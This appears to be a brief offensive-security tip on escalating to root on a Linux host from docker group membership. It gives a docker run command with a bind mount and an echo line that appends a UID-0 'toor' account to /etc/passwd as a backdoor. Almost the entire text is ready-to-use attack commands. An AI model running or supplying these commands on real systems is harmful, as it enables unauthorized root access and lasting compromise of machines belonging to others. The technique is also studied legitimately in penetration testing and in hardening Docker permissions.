If it turns out that you are a part of the docker group, escalate to root with the following:
docker run -it --rm -v $PWD:/mnt bash
We can also backdoor the machine after this with;
echo 'toor:$1$.PWORDHASH:0:0:root:/root:/bin/sh' >> /mnt/etc/passwd
Just another reason why Docker bind mounts can be dangerous >:)